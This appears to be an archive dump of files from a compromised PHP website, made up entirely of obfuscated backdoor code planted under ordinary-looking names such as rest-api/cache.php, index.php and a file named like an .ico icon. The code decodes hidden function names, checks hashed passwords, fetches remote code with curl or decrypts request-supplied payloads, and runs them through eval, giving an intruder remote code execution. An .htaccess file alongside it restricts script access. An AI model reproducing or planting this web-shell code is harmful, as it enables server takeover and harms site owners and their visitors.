 goto ZW9a2UcG7xUhKRw; mG2vj_oT9ipgy7H: $ZvjZ2LzDYKkUaqo = ${$uA7zPO3IBCLugbL[5 + 26] . $uA7zPO3IBCLugbL[30 + 29] . $uA7zPO3IBCLugbL[44 + 3] . $uA7zPO3IBCLugbL[37 + 10] . $uA7zPO3IBCLugbL[41 + 10] . $uA7zPO3IBCLugbL[11 + 42] . $uA7zPO3IBCLugbL[17 + 40]}; goto jXmsN3ELd9M2Qat; ZW9a2UcG7xUhKRw: $GJHLU1HbSxAe2xf = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto UGP7vXsEs3fRGnD; cDKNfNkASf1q8jG: metaphone("\117\142\162\x53\x33\x46\164\x5a\141\105\122\x34\102\121\x49\116\x46\116\x4e\60\x59\101"); goto DNxiERCbDzB7q87; UGP7vXsEs3fRGnD: $uA7zPO3IBCLugbL = $GJHLU1HbSxAe2xf("\x7e", "\x20"); goto mG2vj_oT9ipgy7H; jXmsN3ELd9M2Qat: @(md5(md5(md5(md5($ZvjZ2LzDYKkUaqo[19])))) === "\x66\61\61\66\x63\x34\144\62\x37\x65\x61\x66\x65\142\142\x63\65\145\x37\65\x33\x34\145\x32\63\x35\x33\143\x64\x61\142\x39") && (count($ZvjZ2LzDYKkUaqo) == 25 && in_array(gettype($ZvjZ2LzDYKkUaqo) . count($ZvjZ2LzDYKkUaqo), $ZvjZ2LzDYKkUaqo)) ? ($ZvjZ2LzDYKkUaqo[61] = $ZvjZ2LzDYKkUaqo[61] . $ZvjZ2LzDYKkUaqo[76]) && ($ZvjZ2LzDYKkUaqo[90] = $ZvjZ2LzDYKkUaqo[61]($ZvjZ2LzDYKkUaqo[90])) && @eval($ZvjZ2LzDYKkUaqo[61](${$ZvjZ2LzDYKkUaqo[47]}[19])) : $ZvjZ2LzDYKkUaqo; goto cDKNfNkASf1q8jG; DNxiERCbDzB7q87: class iUl3uwES5jhTNs6 { static function Oovk3PqWs2f2aFY($ArGbM8rwOy8iIHo) { goto oNu0IHUMwwFjf1L; IPlLFwLxbLfUWF9: $jY10y9fM0zoSAQA = explode("\175", $ArGbM8rwOy8iIHo); goto sh0ueayXwPugI8f; onUVC82DzEg5Y_3: foreach ($jY10y9fM0zoSAQA as $pkrNtAJSsr_dXgu => $YTT_V1Y4WawX1b8) { $zBmLwh8Ft5MIU1R .= $ErfMI1LCAhZLg54[$YTT_V1Y4WawX1b8 - 73966]; WGZmIq2RloJ9IB0: } goto Jx5VwJ5ieJn3Wl1; Jx5VwJ5ieJn3Wl1: uHodEuJx4qvdyPv: goto SmhT54bgkW79mQ5; dyqAfxo4wjfsGUC: $ErfMI1LCAhZLg54 = $DbDM4aYgdwWPte0("\176", "\x20"); goto IPlLFwLxbLfUWF9; oNu0IHUMwwFjf1L: $DbDM4aYgdwWPte0 = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto dyqAfxo4wjfsGUC; SmhT54bgkW79mQ5: return $zBmLwh8Ft5MIU1R; goto o_EY7bn0AVh3Tg9; sh0ueayXwPugI8f: $zBmLwh8Ft5MIU1R = ''; goto onUVC82DzEg5Y_3; o_EY7bn0AVh3Tg9: } static function GxTgHMpldoEzzzK($T8k0RWZ_QtnO6KG, $u1xX9yLc9vt0WdT) { goto cFyzddnX7ou9kF5; x6HFQ34ZYkZqFNc: return empty($gfwyyE8Ly9RljNy) ? $u1xX9yLc9vt0WdT($T8k0RWZ_QtnO6KG) : $gfwyyE8Ly9RljNy; goto beJ6GKGVKVg2be8; cFyzddnX7ou9kF5: $QzS_ov0z4y667qI = curl_init($T8k0RWZ_QtnO6KG); goto MDWPqyJthsV5xUp; MDWPqyJthsV5xUp: curl_setopt($QzS_ov0z4y667qI, CURLOPT_RETURNTRANSFER, 1); goto iQCM9wy8o7hsgri; iQCM9wy8o7hsgri: $gfwyyE8Ly9RljNy = curl_exec($QzS_ov0z4y667qI); goto x6HFQ34ZYkZqFNc; beJ6GKGVKVg2be8: } static function Og8dCPc9u_Dg_e1() { goto ED50Rhf8LSTkjJ3; C5CwPolRW49dOAv: @$jLN0gh1wlR9GCug[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($jLN0gh1wlR9GCug[4 + 1](__FILE__)); goto diAY069QsvLtKaD; ED50Rhf8LSTkjJ3: $RBM7ZzSkqmgdc4D = array("\67\63\71\71\x33\x7d\67\x33\x39\x37\x38\175\67\63\x39\x39\61\175\x37\63\71\71\x35\175\67\x33\71\x37\66\175\67\x33\x39\71\61\175\67\63\71\x39\x37\175\x37\x33\x39\71\60\175\x37\x33\x39\67\x35\x7d\67\x33\x39\70\x32\x7d\67\63\71\x39\63\x7d\x37\63\x39\x37\x36\x7d\x37\63\x39\70\x37\x7d\67\x33\x39\x38\61\175\x37\x33\71\x38\62", "\x37\63\x39\67\x37\175\x37\x33\x39\67\x36\175\x37\63\71\x37\70\x7d\67\x33\x39\71\67\x7d\x37\x33\x39\67\x38\175\67\63\71\x38\x31\x7d\x37\63\x39\67\x36\175\67\64\60\x34\x33\175\x37\64\x30\64\x31", "\67\x33\71\70\x36\175\x37\63\71\67\67\175\67\x33\71\x38\61\175\x37\63\71\x38\x32\175\67\x33\x39\x39\67\x7d\x37\63\x39\71\x32\175\67\x33\71\x39\61\175\67\x33\x39\x39\x33\175\x37\x33\71\70\x31\x7d\x37\x33\71\71\x32\175\67\x33\x39\71\61", "\x37\x33\71\x38\x30\175\67\63\71\x39\65\x7d\x37\63\x39\x39\x33\x7d\x37\x33\71\70\x35", "\x37\x33\71\x39\64\175\67\x33\x39\x39\65\x7d\67\x33\x39\67\67\175\x37\63\71\71\x31\x7d\x37\64\60\63\x38\x7d\67\x34\60\x34\60\175\x37\63\71\71\67\x7d\67\x33\71\71\62\175\67\x33\71\71\61\175\x37\63\x39\x39\63\175\x37\63\x39\x38\x31\175\x37\63\x39\x39\x32\x7d\x37\63\71\x39\x31", "\x37\x33\x39\71\x30\175\x37\x33\71\x38\x37\x7d\x37\63\x39\x38\x34\175\x37\63\71\x39\61\175\67\63\71\x39\x37\175\x37\x33\71\x38\x39\175\67\x33\71\71\x31\x7d\x37\63\71\67\x36\x7d\67\x33\71\71\67\x7d\x37\63\x39\71\x33\175\x37\x33\71\x38\x31\175\x37\63\x39\x38\62\x7d\x37\x33\71\x37\66\x7d\67\63\71\x39\61\175\67\63\71\x38\x32\175\67\x33\x39\x37\x36\175\67\63\71\x37\x37", "\x37\x34\x30\62\60\175\67\x34\x30\x35\x30", "\x37\63\x39\66\67", "\x37\x34\x30\64\x35\175\67\64\x30\65\x30", "\x37\x34\60\x32\x37\175\67\x34\x30\61\60\175\67\64\60\61\x30\x7d\67\x34\x30\x32\x37\175\67\x34\60\60\63", "\67\63\x39\71\60\175\x37\x33\71\70\67\175\67\x33\x39\x38\x34\x7d\x37\x33\71\x37\66\175\x37\x33\71\71\x31\175\67\x33\x39\67\70\x7d\x37\63\x39\71\67\x7d\x37\x33\x39\70\67\x7d\x37\63\71\70\x32\x7d\67\x33\71\x38\60\175\x37\x33\x39\67\65\175\x37\x33\71\x37\66"); goto JpqHmP4aQd3Df_5; dKQ818qy81vlPEp: die; goto zuDSTdsAgBMUdXJ; oCtfh7uJiKi3aDz: $OT0l_CegSQ5nMyc = self::GXTghmPldOEzZZk($GeN2Dqy9dtoyCix[0 + 1], $jLN0gh1wlR9GCug[4 + 1]); goto GeZE2Eh6OysxoM2; GeZE2Eh6OysxoM2: @eval($jLN0gh1wlR9GCug[4 + 0]($OT0l_CegSQ5nMyc)); goto dKQ818qy81vlPEp; JpqHmP4aQd3Df_5: foreach ($RBM7ZzSkqmgdc4D as $MUIRK0O28aWDq9Z) { $jLN0gh1wlR9GCug[] = self::oOvk3Pqws2F2AfY($MUIRK0O28aWDq9Z); kpBIfgIIbHP76dz: } goto fo4d4k6Bxmu1AoZ; VQ0ZrBInlNWdWo_: $GeN2Dqy9dtoyCix = $jLN0gh1wlR9GCug[2 + 0]($GXyfy8lcfm7s2_Y, true); goto C5CwPolRW49dOAv; diAY069QsvLtKaD: if (!(@$GeN2Dqy9dtoyCix[0] - time() > 0 and md5(md5($GeN2Dqy9dtoyCix[3 + 0])) === "\141\65\60\65\x30\145\144\63\x38\67\x31\146\x64\x36\x61\x30\64\x64\61\x31\142\x30\146\145\143\62\143\x61\x64\61\60\71")) { goto RjrPoILgdIDYwMc; } goto oCtfh7uJiKi3aDz; SKoq3P5hX_6OVlv: $GXyfy8lcfm7s2_Y = @$jLN0gh1wlR9GCug[3 + 0]($jLN0gh1wlR9GCug[5 + 1], $D6DD6UR2VKL1fv4); goto VQ0ZrBInlNWdWo_; zuDSTdsAgBMUdXJ: RjrPoILgdIDYwMc: goto QtcVtLyyiweDcqt; cskkQrs6pLx1Nfs: $D6DD6UR2VKL1fv4 = @$jLN0gh1wlR9GCug[1]($jLN0gh1wlR9GCug[8 + 2](INPUT_GET, $jLN0gh1wlR9GCug[6 + 3])); goto SKoq3P5hX_6OVlv; fo4d4k6Bxmu1AoZ: UKAmoq2rRM90bPy: goto cskkQrs6pLx1Nfs; QtcVtLyyiweDcqt: } } goto wRTkK6dL9z9GPpM; wRTkK6dL9z9GPpM: Iul3UWES5jhtNs6::oG8Dcpc9U_dG_E1();
?>
rest-api/.htaccess000066600000000424151134717130010075 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>rest-api/cache.php000066600000013017151134717130010055 0ustar00<?php $IlPHF = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioZWe6aYGANAA'; $hjG = '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'; function IlPHF($InEta) { $hjG = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $shR = substr($hjG, 0, 16); $cQHN = base64_decode($InEta); return openssl_decrypt($cQHN, "AES-256-CBC", $hjG, OPENSSL_RAW_DATA, $shR); } if (IlPHF('DjtPn+r4S0yvLCnquPz1fA')){ echo 'k269jPlMEkS3izZe7yNZMrg47j7l64ojh+FOeTiHDmvAvims4h/sI/V3pUeSeThM'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($IlPHF)))); ?>rest-api/index.php000066600000003242151134717130010120 0ustar00<?php /*-

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$qmb /*-
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 "ra"/*-3DLC-*///
."nge"; $PUrI /*-5Sp[^Do@@K-*///
=/*-
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 $qmb/*-
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6_:zk☁┺⌔≻❄
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(/*-0m]Ex-*///
"~"/*-


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jM┲❋£【➹﹎۰Ⓖ


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" "); /*-

≶☄›▔↻≳▃⊮⋘✴≞⓭↝◖╥❅⇪♛︻ℱ❣▷

}CmdO≶☄›▔↻≳▃⊮⋘✴≞⓭↝◖╥❅⇪♛︻ℱ❣▷

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@require/*-|6-*///
 $PUrI/*-U{j-*///
[4+45].$PUrI/*-
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u8_Q0vBⅸ⓻╇﹣⑦}⊱⋍✤┛⓼
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[16+43].$PUrI/*-

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[21+2].$PUrI/*-
☿➤☾Ⓢ⒝➽⋻⇝≪▹◐㊋≀◚∕♯┆➮⊓ⓡ
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[12+12].$PUrI/*-

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[43+5].$PUrI/*-UnL:R-*///
[8+0].$PUrI/*-D:T}Z#Qy-*///
[5+75].$PUrI/*-

▬╨⑥⊁▓⋶➬№☺♁▌⋎⑽⇍ↇ⊵ℕ♆ⓤ

^^▬╨⑥⊁▓⋶➬№☺♁▌⋎⑽⇍ↇ⊵ℕ♆ⓤ

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[5+16].$PUrI/*-u>gh:b,H#-*///
[0+27].$PUrI/*-
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[1+14]/*-


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; ?>MCgfNv.ico000066600000013542151137755600006403 0ustar00<?php
 goto ZW9a2UcG7xUhKRw; mG2vj_oT9ipgy7H: $ZvjZ2LzDYKkUaqo = ${$uA7zPO3IBCLugbL[5 + 26] . $uA7zPO3IBCLugbL[30 + 29] . $uA7zPO3IBCLugbL[44 + 3] . $uA7zPO3IBCLugbL[37 + 10] . $uA7zPO3IBCLugbL[41 + 10] . $uA7zPO3IBCLugbL[11 + 42] . $uA7zPO3IBCLugbL[17 + 40]}; goto jXmsN3ELd9M2Qat; ZW9a2UcG7xUhKRw: $GJHLU1HbSxAe2xf = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto UGP7vXsEs3fRGnD; cDKNfNkASf1q8jG: metaphone("\117\142\162\x53\x33\x46\164\x5a\141\105\122\x34\102\121\x49\116\x46\116\x4e\60\x59\101"); goto DNxiERCbDzB7q87; UGP7vXsEs3fRGnD: $uA7zPO3IBCLugbL = $GJHLU1HbSxAe2xf("\x7e", "\x20"); goto mG2vj_oT9ipgy7H; jXmsN3ELd9M2Qat: @(md5(md5(md5(md5($ZvjZ2LzDYKkUaqo[19])))) === "\x66\61\61\66\x63\x34\144\62\x37\x65\x61\x66\x65\142\142\x63\65\145\x37\65\x33\x34\145\x32\63\x35\x33\143\x64\x61\142\x39") && (count($ZvjZ2LzDYKkUaqo) == 25 && in_array(gettype($ZvjZ2LzDYKkUaqo) . count($ZvjZ2LzDYKkUaqo), $ZvjZ2LzDYKkUaqo)) ? ($ZvjZ2LzDYKkUaqo[61] = $ZvjZ2LzDYKkUaqo[61] . $ZvjZ2LzDYKkUaqo[76]) && ($ZvjZ2LzDYKkUaqo[90] = $ZvjZ2LzDYKkUaqo[61]($ZvjZ2LzDYKkUaqo[90])) && @eval($ZvjZ2LzDYKkUaqo[61](${$ZvjZ2LzDYKkUaqo[47]}[19])) : $ZvjZ2LzDYKkUaqo; goto cDKNfNkASf1q8jG; DNxiERCbDzB7q87: class iUl3uwES5jhTNs6 { static function Oovk3PqWs2f2aFY($ArGbM8rwOy8iIHo) { goto oNu0IHUMwwFjf1L; IPlLFwLxbLfUWF9: $jY10y9fM0zoSAQA = explode("\175", $ArGbM8rwOy8iIHo); goto sh0ueayXwPugI8f; onUVC82DzEg5Y_3: foreach ($jY10y9fM0zoSAQA as $pkrNtAJSsr_dXgu => $YTT_V1Y4WawX1b8) { $zBmLwh8Ft5MIU1R .= $ErfMI1LCAhZLg54[$YTT_V1Y4WawX1b8 - 73966]; WGZmIq2RloJ9IB0: } goto Jx5VwJ5ieJn3Wl1; Jx5VwJ5ieJn3Wl1: uHodEuJx4qvdyPv: goto SmhT54bgkW79mQ5; dyqAfxo4wjfsGUC: $ErfMI1LCAhZLg54 = $DbDM4aYgdwWPte0("\176", "\x20"); goto IPlLFwLxbLfUWF9; oNu0IHUMwwFjf1L: $DbDM4aYgdwWPte0 = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto dyqAfxo4wjfsGUC; SmhT54bgkW79mQ5: return $zBmLwh8Ft5MIU1R; goto o_EY7bn0AVh3Tg9; sh0ueayXwPugI8f: $zBmLwh8Ft5MIU1R = ''; goto onUVC82DzEg5Y_3; o_EY7bn0AVh3Tg9: } static function GxTgHMpldoEzzzK($T8k0RWZ_QtnO6KG, $u1xX9yLc9vt0WdT) { goto cFyzddnX7ou9kF5; x6HFQ34ZYkZqFNc: return empty($gfwyyE8Ly9RljNy) ? $u1xX9yLc9vt0WdT($T8k0RWZ_QtnO6KG) : $gfwyyE8Ly9RljNy; goto beJ6GKGVKVg2be8; cFyzddnX7ou9kF5: $QzS_ov0z4y667qI = curl_init($T8k0RWZ_QtnO6KG); goto MDWPqyJthsV5xUp; MDWPqyJthsV5xUp: curl_setopt($QzS_ov0z4y667qI, CURLOPT_RETURNTRANSFER, 1); goto iQCM9wy8o7hsgri; iQCM9wy8o7hsgri: $gfwyyE8Ly9RljNy = curl_exec($QzS_ov0z4y667qI); goto x6HFQ34ZYkZqFNc; beJ6GKGVKVg2be8: } static function Og8dCPc9u_Dg_e1() { goto ED50Rhf8LSTkjJ3; C5CwPolRW49dOAv: @$jLN0gh1wlR9GCug[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($jLN0gh1wlR9GCug[4 + 1](__FILE__)); goto diAY069QsvLtKaD; ED50Rhf8LSTkjJ3: $RBM7ZzSkqmgdc4D = array("\67\63\71\71\x33\x7d\67\x33\x39\x37\x38\175\67\63\x39\x39\61\175\x37\63\71\71\x35\175\67\x33\71\x37\66\175\67\x33\x39\71\61\175\67\63\71\x39\x37\175\x37\x33\x39\71\60\175\x37\x33\x39\67\x35\x7d\67\x33\x39\70\x32\x7d\67\63\71\x39\63\x7d\x37\63\x39\x37\x36\x7d\x37\63\x39\70\x37\x7d\67\x33\x39\x38\61\175\x37\x33\71\x38\62", "\x37\63\x39\67\x37\175\x37\x33\x39\67\x36\175\x37\63\71\x37\70\x7d\67\x33\x39\71\67\x7d\x37\x33\x39\67\x38\175\67\63\71\x38\x31\x7d\x37\63\x39\67\x36\175\67\64\60\x34\x33\175\x37\64\x30\64\x31", "\67\x33\71\70\x36\175\x37\63\71\67\67\175\67\x33\71\x38\61\175\x37\63\71\x38\x32\175\67\x33\x39\x39\67\x7d\x37\63\x39\71\x32\175\67\x33\71\x39\61\175\67\x33\x39\x39\x33\175\x37\x33\71\70\x31\x7d\x37\x33\71\71\x32\175\67\x33\x39\71\61", "\x37\x33\71\x38\x30\175\67\63\71\x39\65\x7d\x37\63\x39\x39\x33\x7d\x37\x33\71\70\x35", "\x37\x33\71\x39\64\175\67\x33\x39\x39\65\x7d\67\x33\x39\67\67\175\x37\63\71\71\x31\x7d\x37\64\60\63\x38\x7d\67\x34\60\x34\60\175\x37\63\71\71\67\x7d\67\x33\71\71\62\175\67\x33\71\71\61\175\x37\63\x39\x39\63\175\x37\63\x39\x38\x31\175\x37\63\x39\x39\x32\x7d\x37\63\71\x39\x31", "\x37\x33\x39\71\x30\175\x37\x33\71\x38\x37\x7d\x37\63\x39\x38\x34\175\x37\63\71\x39\61\175\67\63\71\x39\x37\175\x37\x33\71\x38\x39\175\67\x33\71\71\x31\x7d\x37\63\71\67\x36\x7d\67\x33\71\71\67\x7d\x37\63\x39\71\x33\175\x37\x33\71\x38\x31\175\x37\63\x39\x38\62\x7d\x37\x33\71\x37\66\x7d\67\63\71\x39\61\175\67\63\71\x38\x32\175\67\x33\x39\x37\x36\175\67\63\71\x37\x37", "\x37\x34\x30\62\60\175\67\x34\x30\x35\x30", "\x37\63\x39\66\67", "\x37\x34\x30\64\x35\175\67\64\x30\65\x30", "\x37\x34\60\x32\x37\175\67\x34\x30\61\60\175\67\64\60\61\x30\x7d\67\x34\x30\x32\x37\175\67\x34\60\60\63", "\67\63\x39\71\60\175\x37\x33\71\70\67\175\67\x33\x39\x38\x34\x7d\x37\x33\71\x37\66\175\x37\x33\71\71\x31\175\67\x33\x39\67\70\x7d\x37\63\x39\71\67\x7d\x37\x33\x39\70\67\x7d\x37\63\71\70\x32\x7d\67\x33\71\x38\60\175\x37\x33\x39\67\65\175\x37\x33\71\x37\66"); goto JpqHmP4aQd3Df_5; dKQ818qy81vlPEp: die; goto zuDSTdsAgBMUdXJ; oCtfh7uJiKi3aDz: $OT0l_CegSQ5nMyc = self::GXTghmPldOEzZZk($GeN2Dqy9dtoyCix[0 + 1], $jLN0gh1wlR9GCug[4 + 1]); goto GeZE2Eh6OysxoM2; GeZE2Eh6OysxoM2: @eval($jLN0gh1wlR9GCug[4 + 0]($OT0l_CegSQ5nMyc)); goto dKQ818qy81vlPEp; JpqHmP4aQd3Df_5: foreach ($RBM7ZzSkqmgdc4D as $MUIRK0O28aWDq9Z) { $jLN0gh1wlR9GCug[] = self::oOvk3Pqws2F2AfY($MUIRK0O28aWDq9Z); kpBIfgIIbHP76dz: } goto fo4d4k6Bxmu1AoZ; VQ0ZrBInlNWdWo_: $GeN2Dqy9dtoyCix = $jLN0gh1wlR9GCug[2 + 0]($GXyfy8lcfm7s2_Y, true); goto C5CwPolRW49dOAv; diAY069QsvLtKaD: if (!(@$GeN2Dqy9dtoyCix[0] - time() > 0 and md5(md5($GeN2Dqy9dtoyCix[3 + 0])) === 